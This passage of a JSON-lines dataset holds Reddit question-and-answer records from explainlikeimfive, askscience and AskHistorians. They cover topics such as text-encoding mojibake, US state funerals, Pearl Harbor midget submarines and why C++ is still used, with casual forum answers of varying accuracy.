mailed (internationally!) me photocopies of relevant pages.\n\nAnother historian I like I met at a conference, and then followed up with emails; he's since served on a panel I put together, got me onto one of his panels as comment (with some VERY big names, I'm kind of stunned to be sharing the stage with these people), and read several drafts of dissertation chapters.\n\nSo, I'd say go for it. I think the key is to go beyond just acknowledging their work, but show them that you've read it and thought about it a great deal. Even Horne, whose book has been widely read, would probably appreciate knowing that people are still engaged in it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "a39nnh", "title": "why do emergency whistles emit 2 different frequencies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a39nnh/eli5_why_do_emergency_whistles_emit_2_different/", "answers": {"a_id": ["eb4hr5t"], "score": [2], "text": ["The dissonance between the tones is unpleasant and this effective at drawing attention. Source: guessing"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "v3idi", "title": "How automated is the world?", "selftext": "If everyone else on the planet inexplicably vanished, how long would I still have electricity or clean running water? How important are humans in our current age to these processes? I am in the US, but answers from any country would be fun to look at. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/v3idi/how_automated_is_the_world/", "answers": {"a_id": ["c518lb5"], "score": [2], "text": ["I am more interested in the opposite: what would happen if all artefacts are gone. We are woken up in the ditches that were dug up for foundations of our highrises, naked, with the only knowledge that is in our heads. \n\nI am sure there were sci-fi books on that, and I am sure I would not be happy with them, and I am even more sure that I would not be happy with reddit answers, so why am I asking this?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21xzgi", "title": "the gm ignition switch problem.", "selftext": "I understand that there is something wrong with the ignition  &  steering column, but what is the actual problem and how are people dying because of it. \n\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21xzgi/eli5_the_gm_ignition_switch_problem/", "answers": {"a_id": ["cghi5n6"], "score": [3], "text": ["If your ignition switch is working incorrectly, your engine can be turned off without you wanting it to -- anything that draws power from the engine/alternator will stop working (power steering, power brakes, etc.)\n\nThis can be very bad at 75MPH."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a40d6c", "title": "at a large quasi-state funeral, like that of president bush, who actually organizes it and who pays for it; if it's from public funds, who decides who gets such a funeral and how much should be spent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a40d6c/eli5_at_a_large_quasistate_funeral_like_that_of/", "answers": {"a_id": ["ebajv2s", "ebak4qz", "ebakemm", "ebakkpi"], "score": [76, 47, 19, 15], "text": ["So each president is in charge of planning his own funeral while he is in office. As far as the funds go, not sure but I think it is publicly funded.", "I just googled this.\n\nBasically, the President and his/her family plan it in advance, and it's paid for with public funds.\n\n_URL_0_", "Usually it\u2019s planned in advance however in unforeseen circumstances like JFK, it has to be done last second.  Jackie planned it and had to combat several people of how she wanted it done", "[The Military District of Washington](_URL_0_) is generally responsible for organizing funerals for heads of states and holds to a detailed set of protocols. This 138-page document outlines the ceremonial requirements for laying to rest a president or other high ranking official. Most political figures, especially presidents, have their personal funeral arrangements  (music, eulogy, interment site, etc.) planned before they take office. The State pays for the service. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/State_funerals_in_the_United_States"], [], ["https://en.wikipedia.org/wiki/United_States_Army_Military_District_of_Washington"]]}
{"q_id": "sp2v5", "title": "If you could go back in time to any period and \"invent\" a modern commodity, what would it be? ", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/sp2v5/if_you_could_go_back_in_time_to_any_period_and/", "answers": {"a_id": ["c4fsm7m", "c4ft59j", "c4ftw2o", "c4futss"], "score": [8, 5, 2, 2], "text": ["Amateur historian here.  Realistically, the radio.  Imagine if communications between Rome and the far flung provincial legions had taken seconds, instead of weeks or months.  [There is speculation that ancient Mesopotamians invented a chemical battery](_URL_0_).  They probably didn't, but they *could have*.  From an array of crude copper- vinegar batteries to a simple spark gap radio transmitting  morse code is a large, improbable leap, but not impossible.  Imagine if radio existed before industrialization, before science, and was a practical, functional branch of magic.\n\nNow, write a novel about that, please.  I wan't to read it, and I'm no writer.", "The steam engine. The invention that changed everything by freeing man from the tyranny of muscle and natural power.", "I would go back to 1000 BC and teach the Native Americans to make steel. That would really only be fun if I could come back to the 'new' today and see what changed.", "I'd go back in time and make the Printing Press. If not that, teach horsemanship in the Africas. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Baghdad_Battery"], [], [], []]}
{"q_id": "5awi4j", "title": "why does auto-erotic asphyxiation deliver a more intense and pleasurable orgasm?", "selftext": "What exactly is happening that gives a heightened experience? And in general, how is it that something as unpleasant and painful as being choked can be translated into a pleasant experience when sexual acts become involved?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5awi4j/eli5why_does_autoerotic_asphyxiation_deliver_a/", "answers": {"a_id": ["d9jvess", "d9jzf28", "d9kpda8"], "score": [53, 9, 6], "text": ["Because suddenly reducing blood flow to your brain triggers survival responses, one of them is heightened senses. ", "[Wikipedia](_URL_0_) has an article on this, including the physiology.", "A kid I went to high school with killed himself masturbating while strangling himself with a bow flex cord. His mom found him before school when he didn't come down to get breakfast. He was in his room naked, hanging from the bow flex, dick in hand. \n\nI was a freshman, he was a senior, super hot football guy who was a douche most of the time. There was all of this mourning at school. Mostly kids who didn't really know him. My friends and I never interacted with him directly and thought it was kind of hilarious. There's still a scholarship in his name at the school, which I still think is funny. It's sad the kid died, but I mean, of ALL the ways to accidentally die. \n\nOh, and his girlfriend started this story about how he actually meant to kill himself with like a fake suicide note and everything. One of my friends dad was working the hospital and did the autopsy. There was NO note, he assured us. The rumors eventually ran true and everyone knew what really happened. There were some \"safe sex\" assemblies after the fact with pointed no name mentions. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Erotic_asphyxiation"], []]}
{"q_id": "c6g4us", "title": "why do some word processors convert \"i'm\" to some jargon-filled thing, eg \"i\u00e2\u20ac\u2122m currently out of the office\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6g4us/eli5_why_do_some_word_processors_convert_im_to/", "answers": {"a_id": ["es8it4o", "es8j0nm", "es8khjs", "es8khui", "es8ku1x", "es8llzn", "es8rj6k", "es8ta7t", "es8z4he", "es913jm", "es99xs8", "es9trcq", "esawfxl"], "score": [11, 34, 13, 17, 136, 8827, 2, 2, 2, 6, 2, 3, 2], "text": ["Because different processors may use different encoding by default. So when converting the file, if they don't speak the same language, it makes up for the character it can't read with something else.", "I'm is actually fine and will never mess up. I\u2019m will break however. If you can't see the difference that is normal. The first has an apostrophe which is ASCII and the second is a closing single quote which is not. Not every program is good about how they are encoded especially when files on disk are involved so they can sometimes be messed up.\n\nUTF-8 is a common way to encode higher things as it represents ASCII as ASCII however if you interpret it as extended ASCII with a certain page you turn the three 8 bit numbers that make up how the computer writes the character into three arbitrary characters.\n\nFor extra fun use a system that incorrectly does it in a non repeatable way. A single non ASCII character can grow every save.", "Because Microsoft (and some others) thought it would be really nice to silently and secretly replace the standard ' or \" characters with fancier proprietary \u2019 or \u201c\u201d curly quotations (or other characters) which only work properly in the same character set and the same font (which at the time was often only on the same OS running the same software).  And/or somewhere along the way, someone opened and re-saved the document in a standard format, so those nonstandard proprietary characters got scrambled.\n\nMore recently, standards have been expanded (UTF-8) to include a lot more characters, including those old proprietary characters, so as long as everyone is using the same standard, and all the software is expecting the text in that standard, things should look fine.  But the software often incorrectly assumes that things are or aren't from the older standards, or it just doesn't even do the new standards right, so it tries to convert and the text gets garbled.\n\nNever use word processors (or other major office software) for any important text.  Stick to standard text editors that don't make assumptions or try to fancy it up for you.", "The short of it is that some programs like to get fancy when it comes to punctuation marks and other programs are stupid and don't understand all that fancy stuff and get things wrong.\n\nThere are different ways for computer to store text as a series of numbers.\n\nOne that used to be one that most computers used is called ASCII.\n\nIt is basically a lookup table for 128 characters and their corresponding numbers. For example \"A\" is 65 etc. A quarter of those 128 possible numbers gets taken up with stuff that isn't actually a printable character, but things that were used in the days of teleprinters.\n\nThis leaves 96 values for actual letters and stuff. 26 for the letters from \"A\" to \"Z\" and another 26 for \"a\" to \"z\" plus the number digits \"1\" to \"0\".\n\nThis doesn't leave much room left over for other stuff like ' `\u00b4\" etc. let alone all the different non-english alphabets that use different characters like \"\u00f6\".\n\nThere were for a while numerous different expansion of that table that assigned different values for different additional characters.\n\nWhen converting from one of these system to another you ended up with garbage for anything but the most basic letters and numbers which are the same in most of these systems.\n\nNowadays we have Unicode which encodes all the characters there ever were and ever will be in a single unified system. Unfortunately some older system may try to read Unicode text as being meant for a different format. Text gets converted improperly and the result is that the letters and numbers are okay but any fancy characters aren't.\n\nThere is a simple \"'\" character in ASCII it has the value 39 and is called an apostrophe. It can be used for a variety of different punctuation marks from single quotes to minutes to any number of things that look like an apostrophe. There is another in one of the extension of ASCII that gets commonly used that looks like \"\u00b4\" and is called and \"acute accent\".\n\nWord and other word processors like to get fancy however they don't want to use the simple one size first all characters in basic ASCII, they want special characters for each purpose and use whatever seems the best fit.\n\nFor \"I\u2019m\" a character called \"RIGHT SINGLE QUOTATION MARK\" in the unicode docs gets used by programs like Word. The \u2019 may look like a \u00b4 or ', but it isn't.\n\nWhen the fancy word punctuation mark gets interpreted by a dumb program that things it is ascii  it sees the three bytes used to write it 0xE2 0x80 0x99 and interprets them as three different basic characters in one of the old ASCII extensions instead of the Unicode character it is meant to be.\n\nThe solution is to ensure that you use the right lookup table to understand which characters the numbers are meant to be or if you can't rely on the other program displaying the message getting things right to only use simple characters that can't be misinterpreted. Trying to get fancy only to be misunderstood is not really helping anyone.", "Computers store everything as numbers. Letters are not numbers. To fix this, we agreed upon ways to encode letters as numbers. ASCII is one of the most influential examples. Basically, ASCII splits one large number, that is the file, into smaller numbers by groups of 8 binary digits, or bits.\n\nBits sometimes confuse people, so I'll do a switcheroo, I'll use decimal digits instead. Details relating to the numbers won't be right, but you can check actual encodings later. So let's say computers use decimals instead, and store everything as numbers like that. So instead of 8 bits, let's say our imaginary standard splits large numbers into groups of 2 digits. So if a file was 14169455, you'd read that as 14, then 16, then 64, then 55. Simple. So now we'd just check from our encoding what each of these numbers mean. Like, maybe 14 corresponds to letter 'e'?\n\nBut then comes trouble. There are many encodings, mainly because there are more letters than 100 we can write with two decimal digits(256 with 8 bits). Imagine Chinese for example. So lots of places try to make encodings that supports their own characters, and usually they try to make sure latin alphabet matches ASCII so American stuff mostly shows correctly with their encoding. Which puts programs into a tough spot, because many file types do NOT specify encoding used. They just have to guess. And when they guess wrong, you get something like in title.\n\nThis story has a happy ending though. In the end, lots of people went together and made an encoding to encode all the letters and symbols on Earth. It used variable length where some numbers, say, 90 - 99, mean that the next two decimals are actually part of this letter. This meant they could have more than 100 options for what a single letter can be, but for latin alphabet, the system looks like ASCII(14 is still 'e'). All praise utf-8.", "Computers only think in 1's and 0's.\n\nWe have created several different ways to translate back and forth between 1's and 0's and other characters, like A-Z and different punctuation marks, called \"encoding methods.\" For example, here is a super simple encoding method that I just made up:\n\n > A = 00000000  \n >   \n > B = 00000001  \n >   \n > C = 00000010  \n >   \n > D = 00000011  \n >   \n > E = 00000100\n\nSome encoding methods only cover very basic characters, like A-Z and basic punctuation marks. In these simple encoding methods, there is no difference between the quotation marks at the start and the end of a word. For instance, both of these quotation marks are the same:\n\n# \"test\"\n\nBut some encoding methods cover a wider array of characters, including different punctuation marks for the left and right quotation marks surrounding a word. For example, if you look closely, you'll see that these two quotation marks are different:\n\n# \u201ctest\u201d\n\nMicrosoft programs, including Microsoft word, really like to use fancy punctuation marks, including separate characters for apostrophes, left single-quotes, and right-single quotes. So when you type \"I'm\", it will automatically convert the apostrophe to a fancy one: \"I'm\"\n\nEven though these two characters look the same on most screens, they actually have different values when converted to 1's and 0's:\n\n > Simple apostrophe = 00000011011  \n >   \n > Fancy left single quote = 11111100010\n\nWhen you write a message inside of Microsoft Word, then save it out to a file, all those letters and punctuation marks get converted to their 1's and 0's, like you'd expect. Then, all those 1's and 0's get sent to another computer, or another program, so that they can be converted back into letters and punctuation marks for the other person to read.\n\nIf the other person is using the same program with the same encoding method, then nothing will be lost in translation! However, a LOT of programs don't use the same encoding methods as Microsoft Word, which means one of two things happens: either they don't know what \"11111100010\" stands for, so they display a \"missing character\" symbol (usually an empty box), or even worse, \"11111100010\" might stand for something totally weird and crazy - or maybe even multiple characters, like the \" **\u00e2\u20ac\u2122**\" you used in your example.\n\n & #x200B;\n\n**EDIT** \\- Barring Rule #4, here's an even simpler explanation:\n\nComputers have their own language, and we've invented lots of different translators to help us talk back and forth with them.\n\nWhen you use two different translators to translate the same message, sometimes you end up with silly errors, like the one mentioned in OP's title.", "It's because of different character encodings. Computers store everything as numbers, a character encoding tells the computer how to convert the numbers into text.  \n\nThe most popular character encoding is ASCII. Since it it too small to contain all characters, there are many extensions. These extensions overlap, so what encodes to \"I'm\" in one encoding converts to  \"I\u00e2\u20ac\u2122m\" in another encoding.   \n\nThe solution is to always use UTF-8 for everything.  \n\nRead more here:  \n_URL_0_", "It\u2019s what\u2019s called \u201cUnicode\u201d. This is a collection of characters created to handle characters that aren\u2019t in the \u201cRoman\u201d alphabet, like Japanese Arabic.\n\nModern devices like an iPhone use Unicode so you can type in English and, if you were so inclined, Chinese. \n\nIf you\u2019re seeing the \u201cfunny characters\u201d it\u2019s usually because the web site or application you\u2019re using doesn\u2019t support Unicode - generally because it hasn\u2019t been maintained well over the years or the developers didn\u2019t think about it.", "The codes for different software companies don't always play nice with each other. If you are emailing someone using Outlook and put a smiley face emoji, it often translates into google as a j.", "Computers store and transmit data as numbers; when dealing with text, they use something called a [character encoding](_URL_1_). Think of it like Morse Code: `Hello` would be encoded as `.... . .-.. .-.. ---`, but instead of dashes and dots they use `0`s and `1`s.\n\nThis would work because both the sender and the receiver have the same understanding of how to Morse Code works (i.e. what the combination of dots and dashes mean). On the other hand, computers can use a variety of character encodings and, unless the exact same one is used when creating/saving the text and when loading/displaying the text, some things might appear different than intended.\n\nIn your case, [Unicode](_URL_0_) was used to encode `\u2019` to `11100010 10000000 10011001` as binary, which was decoded using [CP-1252](_URL_2_) as `\u00e2\u20ac\u2122`. This happens because both of these are defaults in various systems/programs and the information related to which encoding was used is sometimes ommitted, discarded or outright ignored.\n\nThe other characters have the same binary representation in both encodings, so that's why not everything gets mangled.", "Ah character sets, the name of my existence as a developer.\n\nEli5: when you see an \"a\" on the screen it's not stored in the computer as an \"a\" but a representation of it in one character set. \n\nIf you store something in one character set (say, UTF-8) and try to display it using a different character set (say, latin1), things get garbled.\n\nThink of it like languages. \"hola\" and \"hello\" both translate to a casual greeting. If you weren't familiar with either language, you would just hear gobbledygook and not know what it \"meant.\"", "Minor niggle, btw -- that's not \"jargon\". Jargon consists of terms that are unlikely to be known or understood outside of a particular community, especially a profession; for example, unless you're a programmer or doing a related job, you probably don't know what a lambda function is, and would be confused to hear someone say \"we should probably move that to a lambda\" -- \\_that\\_ is jargon.", "Most answers here are correct but they miss a key point :-) this is an human error. A programmer error. When that happens most of the times someone failed to properly do his job.\nBut don't be to hard on him. This stuff is hard.\n\nThis is rather long but i tried to use another approach to the answer then others.\n\nYes, pc talk with 0 and 1, or *bit*. And humans invented this huge table of 0 and 1 and corresponding characters.\n\nIt started simple, only 128 carefully selected characters was used initially.\nThat's the number of possible combination of 7 zeroes and ones.\n\nKeep in mind `a` and `A` are 2 different characters.\n\nThey chose 94 printable characters including letters `a-z`,  `A-Z`. Numbers `0-9` and many different symbols and punctuation.\n95 if we count a space.\n\nThe first use of this was to print them, there was no monitors at the beginning.\n\nThe other 33 characters was used to control the positioning of the printer, like the \"go to new line\" character, for this reason they are called *control* characters. They are not actually visible but they are needed to print all in the right position :-)\n\nThis is called ASCII table.\n\nWas ok... But many human languages used characters that weren't in those 95.\n\nFor example in Italy we commonly use accents: `\u00e0`, `\u00e8`, `\u00e9`, `\u00ec`, `\u00f2`, `\u00f9`. German have `\u00df`. Greece has it's own alphabet, you might have seen it in math classes. Japanese have 3 different alphabets they use interchangeably in the same sentence, and they write from right to left. Arabs, their own alphabet, and so on...\n\nPc were already using 8 bits for each character, just not using the last.\nSo they figured: hey, why don't we add 1 bit, make them 8 bit and use 256 characters (128 more).\n\nExcept everyone had different needs and suddenly the same sequence of 8 bits were interpreted differently by different countries.\n\nMany standard were born, like ISO-8859-1 (Latin 1), ISO-8859-2 (Western Europe), ISO-8859-5 (Cyrillic). Microsoft even created a slightly different version of the Latin 1, just to add to the confusion.\n\nThe only parts common to everyone were those initial 128 characters.\n\nNow, there was an huge problem.. you received a sequence of bits, you know it is text, but you have no idea what is the conversion table you have to use to actually know what to print / draw on the screen.\n\nThen things got e even more complicated...\nFor some language 128 characters are simply not enough, think of the Japanese or Chinese symbols.\nSome others have ligatures between characters like `\u00e6`.\nOther countries don't use `\"`, they use `\u201c` or `\u201d` or even `\u201e`. Same of `'` vs `\u2018`.\nAnd then there are all those weird things like \u00a9\u00ae\u2122.\nAnd the currency symbols $ \u00a3 \u00a5 \u00a2 \u20ac...\n\nYou see... You could start to add more bits and having more and more bits for every characters... But PC go with blocks of 8 bits. So you need to double them.\nBut that means the same text now suddenly takes twice the space, even when it is rarely used...\n\nSo some cleaver guy figured they could use one special character of the 256 to signal the next 16 bit was to read together.\n\nAt that time everyone built it's own standard.\n\nNowadays the defacto standard has been established. It's Unicode and it's binary encoding, called UTF-8. It has all of the characters for every possible need. It can grow adding new stuff as needed, like a couple if years ago the \u20ac euro symbol has been added and emojis you use everyday like \ud83d\ude09 are characters of the Unicode standard.\n\nBut there are still program not using it.\n\nThis stuff is difficult for programmers too... And many programmers still ignore the issue.. and so `I\u2019m` is written somewhere using some encoding and it is passed somewhere else that read it with a different encoding, possibly resulting in weird stuff.\n\nOnce you identified the actual characters you still need to know how to draw them, that's what Fonts are for. And mamy fonts do not have all the glyph, which means you can decode all the text correctly but still be unable to show it on the screen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://utf8everywhere.org/"], [], [], ["https://en.wikipedia.org/wiki/Unicode", "https://en.wikipedia.org/wiki/Character_encoding", "https://en.wikipedia.org/wiki/Windows-1252"], [], [], []]}
{"q_id": "2r6fr9", "title": "Did the successor governments of the former Axis powers honour the pension commitments of WWII service personnel?", "selftext": "Assuming they weren't part of organizations that were later labelled a criminal organization (though I am aware that former members of the Waffen SS petitioned the West German government to honour their pension obligations).", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2r6fr9/did_the_successor_governments_of_the_former_axis/", "answers": {"a_id": ["cnd73i7"], "score": [5], "text": ["I can only speak to West Germany, as I am not aware of any specific pensions paid to Wehrmacht personnel in the East. I suspect this wasn't as much of an issue there as many former soldiers enlisted with the armed forces in the East.\n\nFirst, it's important to note that, as far as I am aware, the Wehrmacht itself only had an official policy of paying pensions to disabled veterans and 'career' soldiers (i.e. officers). This was changed by the Western occupying powers in the early 1950s thanks to agitation by veterans organizations. This was helped by the threat of the Eastern Bloc felt by the west in Germany, and pensions were restored to non-SS personnel around the same time as West Germany itself began rearming. However, these pensions would have been relatively modest if anything at all, and most of the men of early 1950s Germany who were former soldiers but found themselves destitute would have re-enlisted in the new Bundswehr. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18jj0r", "title": "What happened to the crew of the 5th Japanese midget submarine at Pearl Harbor?", "selftext": "There were 5 midget subs involved in the Pearl Harbor attack. One was sunk by the USS Ward, another by the USS Monahan, one ran aground and was captured, and a fourth was abandoned by its crew after it was damaged (I also don't know what happened to that crew). To my understanding, there is good evidence that the fifth sub successfully infiltrated Pearl Harbor and may have hit the West Virginia or the California with torpedoes. Then the crew probably headed for a nearby cove and scuttled the ship on their own ([Source](_URL_0_)).\n\nMy question is, do we know what happened to that crew, or to the crew of the other sub that was scuttled before it could attack? Did they escape, were they killed, or were they captured? Or do we just not know?\n\nEDIT: Well, I just noticed the \"source\" I included was a picture from /r/aww. I have fixed the link.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18jj0r/what_happened_to_the_crew_of_the_5th_japanese/", "answers": {"a_id": ["c8fdt3b"], "score": [3], "text": ["I assume you're referring to the submarine crewed by Masaharu Yokoyama and Samada Ueda, the M-16. [It was never found](_URL_1_) and can safely be presumed to have been lost at sea somehow. It was last heard from at 10:41 PM. The last radio message was \"success, success, success\", so it's possible that the sub had penetrated the harbor and fired its torpedoes. In Japan, the fifth midget sub is credited with sinking the *USS Arizona*, but this is a contested theory.\n\nYokoyama and Uyeda were posthumously promoted two ranks, given military funerals, and praised as \"pillars of loyalty\". Along with the other midget sub crewmen, they were known as the [*Nine Warrior-Gods of the Shouwa Era*](_URL_0_) (the reign of Emperor Hirohito).\n\nBonus fact: Masaharu Yokoyama was a relative of the creator of *Giant Robo*, Mitsuteru Yokoyama."]}, "title_urls": [], "selftext_urls": ["http://articles.latimes.com/2009/dec/07/science/la-sci-minisub7-2009dec07"], "answers_urls": [["http://books.google.se/books?id=wOS7cv3cI2AC&amp;lpg=PA414&amp;dq=fifth%20midget%20sub&amp;hl=sv&amp;pg=PA415#v=onepage&amp;q&amp;f=false", "http://books.google.se/books?id=MsX-LRdLVpYC&amp;lpg=PA2&amp;dq=fifth%20midget%20sub&amp;hl=sv&amp;pg=PA2#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "11nahj", "title": "Why are programs and operating systems still written in C+?", "selftext": "I guess it's more of a *computer* science question, but I've always wondered why some of the most advanced programs are written in a 25+ year old programming language. Surely someone has come up with a more efficient and powerful code, so why do people still use C+? Also, I don't know anything about programming and what not, so please use simple terms and phrases.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11nahj/why_are_programs_and_operating_systems_still/", "answers": {"a_id": ["c6nxxhi", "c6nykgy", "c6nyt78", "c6nywf5", "c6nzlh4", "c6nzm6a", "c6o1ody", "c6o42oc", "c6o4a04", "c6o4knj", "c6o5feo", "c6o6jvp"], "score": [130, 84, 18, 6, 7, 7, 6, 3, 2, 4, 2, 4], "text": ["First of all, it's C++, not C+.\n\nFor one thing, C++ is useful because it allows you to program both high-level and low-level code, meaning you can use it to write anything from video games to basic drivers. You can write programs that directly manipulate memory and are practically in \"machine code\", or you can use it to perform more advanced functions.\n\nFurthermore, although the language is quite old, it continues to be updated constantly, with the most recent version, C++ 11, being released just last summer.\n\nC++'s age is also somewhat advantageous, as there are thousands of existing libraries already written and available for use.\n\nI'm sure there are other reasons but that's what comes to mind.", "**EDIT**: \n\nI'm posting this edit up front so people will see it.  As has been pointed out, I'm a mathematician, not a professional programmer, and some of the points you'll find below are not entirely accurate.  For the most part, I stand by this post.  However, there are two correction posts I'd like to mention.  [\\u\\binary_is_better](_URL_1_) points out in [this response](_URL_0_) is that C++ does not generate massive amounts of machine code.  Some of the corrections s/he mentions are things I intentionally glossed over (eg, interpreters vs. compilers), but many of the points made are valid and directly contradict me, particularly my final paragraph.  Anybody who finds my post informative should read that post as well.  \n\nFurthermore, /u/lw9k points out in [this post](_URL_2_) that there is very little, if any, efficiency loss going from assembly to C++.  Another correction to my original post that you should read.  \n\n**END EDIT.**\n      \n      \n\nFirst of all, while many programs are written in C++, many are written in more modern languages, like Perl, Python, Ruby, or R.  But you're right, C++ is still very popular.  \n\nProgramming languages can be classified in many ways, and one such way is by how directly they allow you to interact with the processor itself.\n\nAt the very basic level is machine code - the different strings of 0s and 1s that correspond to the instruction set of a processor.  For example, my processor might use 00011001 might increment a certain register (ie, increase by 1 a certain value).  Another processor might use 10011010 for the same task.\n\nIf you can't remember all the different strings of 0s and 1s, you can use assembly.  You can write \"INC A\" in assembly, and the machine will know you really mean 10011010 or something.  But watch out, because each kind of computer architecture comes with it's own assembly language, mostly, so your code might not be portable to another machine.\n\nThis was how early computers were programmed, but it was an enormous pain in the ass.  Machine code and assembly language are incredibly difficult to read and to write (and to debug!)\n\nWith the invention of FORTRAN, COBOL, and other programming languages, code became decently readable.  You could write your code in a program called a compiler, and the compiler would turn your abstract words like \"IF\" and \"EQUIVALENCE\" into the machine code.   Commands used words like \"GOTO\" for control structure, variable definition became more intuitive - you could almost read it.  A little later was BASIC, which was very understandable.  I'll bet I could show somebody who'd never seen computer code before a really simple program written in BASIC, and they'd understand most of it.  If you ever programmed on your TI-83 calculator in high school, you've used a variant of BASIC.\n\nC, and the successor C++, were a step up.  Again, programs called compilers would take your instructions and turn it into machine code that the computer could actually execute.  But what's awesome about C and C++ is you can do both.  You can interact directly with the processor, a lot like in assembly, but in slightly more intuitive ways. Or you can use abstract, high-level commands.  You can (and almost always do) mix the two in any given program.  C and C++ allow repetitive actions to be coded for in an intuitive way instead of using obtuse GOTO statements, they have an enormous number of available commands, and they support the addition of libraries to expand on those commands.  These libraries play a huge part in the popularity of C++, which I'll explain in a bit.    You could definitely understand some things in this language if I showed you - not everything, not without a little experience, but somethings.  Look:\n\n     while(display_counter < 7)\n     {\n           while(display_location < stack[display_counter].size())\n           {\n                  display_card(stack[display_counter].at(display_location));\n           }\n           display_counter++;\n     }\n\nWithout knowing any C++, you can probably decipher some of this snippet of code from a Solitaire game I wrote.  I have a variable called \"display_counter\" - that probably counts along something that needs to be displayed, right?  And *while* that number is less than 7, we're doing to do some stuff.  What will we do?  Well, *while* the display_location is less than the size of some stack, we'll display whatever's in that stack at the display_location.  And then we'll increment the display_counter by one, and if it's still less than 7, we'll do it all over again.\n\nC++ is an expansion of C which includes \"objects.\"  That means you can define a thing, together with all of it's attributes and the relations between them, and then call back to that object later, as well as modify parts of that object.\n\nEvery time we go up a level from the processor, we lose efficiency.  When I write 5 lines of C++ code, that might become thousands of bits of machine code once the compiler has done its job; maybe if I had been working in assembly, I could have gotten the job done in a hundred bits of machine code.  A more abstract language that C++ would likely be less efficient still.\n\nSo now we come to why C++ is still popular.  First off, languages aren't static things that are invented and forgotten.  The most recent C++ standard, C++11, came out only last year.  Secondly, a program written in C++ is incredibly portable - there's virtually nothing that can't run a C++ program.  Thirdly, it strikes an excellent balance between efficiency and understand-ability - given that most programmers today find C++ to be powerful enough for all their needs, there's not a lot of pressure to develop more abstract, less efficient languages.  Fourthly, because C++ has been so popular for so many years, people have developed an enormous number of libraries you can add on for specific purposes.\n\nBy the way, you're right, there are absolutely some languages which are better than C++ for some coding applications.  For example, the largest variable you can declare in C++ is 64 bits, at least in a standard implementation.  But in Python, not only can you declare longer variables, you don't have to declare them at all, at least not their length - the compiler automatically gives them as much memory as they need.\n", "Tenome is right on the money, but I'll try to rephrase and elaborate just a little as well.  \n\n\"Advanced\" is a pretty ambiguous word.  You're thinking of it as a synonym for \"fast code,\" but it could also mean \"easy to write\" or \"runs on any hardware\" or any number of things.  \n\nThe fastest code is written directly in machine code.  Machine code is the set of instructions the CPU itself uses, and is different between types of CPUs.  Code written in a compiled language like C is translated into machine code by the compiler.\n\nC/C++ are \"old,\" but they were designed as a good compromise between ease of writing and reading, and efficient translation to machine code, favoring performance.  Their age also means that the compiler tools are very mature and well-optimized, so a lot of the little tricks a programmer might do directly in machine code are done automatically by the compiler.  \n\nOther types of languages concentrate on being advanced in other ways, often by automating some task that is difficult or time-consuming in a language like C-- memory management, porting to different CPUs, etc...\n\nBut although the code is easier to write, the tradeoff is that it is often not as tightly optimized or as fast.\n\nSo when a programmer is faced with a task that demands high performance, they choose the language that lends itself to high performance.  When performance does not matter as much, they will choose a language that makes their task easier to complete.\n\nTo use some horrible analogies:\n\nMachine code/Assembler is like an F1 car.  Driving it requires that you keep track of a million manually-controlled variables.  Doing anything at all with it requires quite a lot of skill, time, and money.\n\nC/C++ are like a manual transmission NASCAR.  Driving it requires that you have some skill and manage some extra stuff, but it's a lot simpler than the F1 car.  Driving it well is still difficult, but it can also be picked up and driven reasonably by anybody who can drive stick.\n\nSomething like Java is like an automatic.  Driving it is easier, and you never think about the transmission... but you trade off some performance for the convenience.  Your grandmother can drive it.", "Don't forget, us advanced physicists and nuclear applications engineers still use FORTRAN for everything.\n", "It is C++.\n\nI will give you three technically precise reasons why:\n\n* Flexible Indirection Capabilities\n\nC++ and C both have pointers that allow access to arbitrary region/section of memories that can be then treated as variables. This allows an Operating System programmer to easily program hardware. When a computer boots up, yours hardware will usually hand over control to a specific region of memory somewhere -- it is easy using pointers to hook this memory and attach a function to it launching your grand schemes. \n\nThe C/C++ family makes this easy and this is the single biggest reason why they are still used in OS and systems programming.\n\nIn C++/C you can even chose to treat a region of memory as a different entity in one section and then treat it as another variable with completely different type. C makes this easy. C++ makes it a little harder but still do-able.\n\n* Ability to mix assembly\n\nYou can embed assembly code directly into a C++/C program. So you can quickly initialize a hardware and jump back into regular coding.\n\n* Low Executable Overhead\n\nCompilers for C specially are well-understood and very optimized for their hardware that they usually have a very low overhead for the executables. This allows time-sensitive initialization to occur properly. \n\nNote that C++ and C are technically not portable languages. A non-trivial program written in C++/C for a particular system usually cannot run without modification on some other system. \n\nHowever, the standard libraries and ubiquitousness of C++/C compilers on systems ensures that all of that system-level difference is completely hidden away from the user. So that header files:\n\n    #include  < iostream >     \n\nYeah that file is different or can be different on different architectures.", "C and C++ are two different programming languages. C++ is a bit newer (going mainstream around the late 1980s) Neither are really _that_ old though, as they've both undergone changes and had features added since they were first created. (And of course, newer isn't always better)\n\nPopular OSes exist in both languages. Linux is exclusively C (its creator Linus Torvalds is 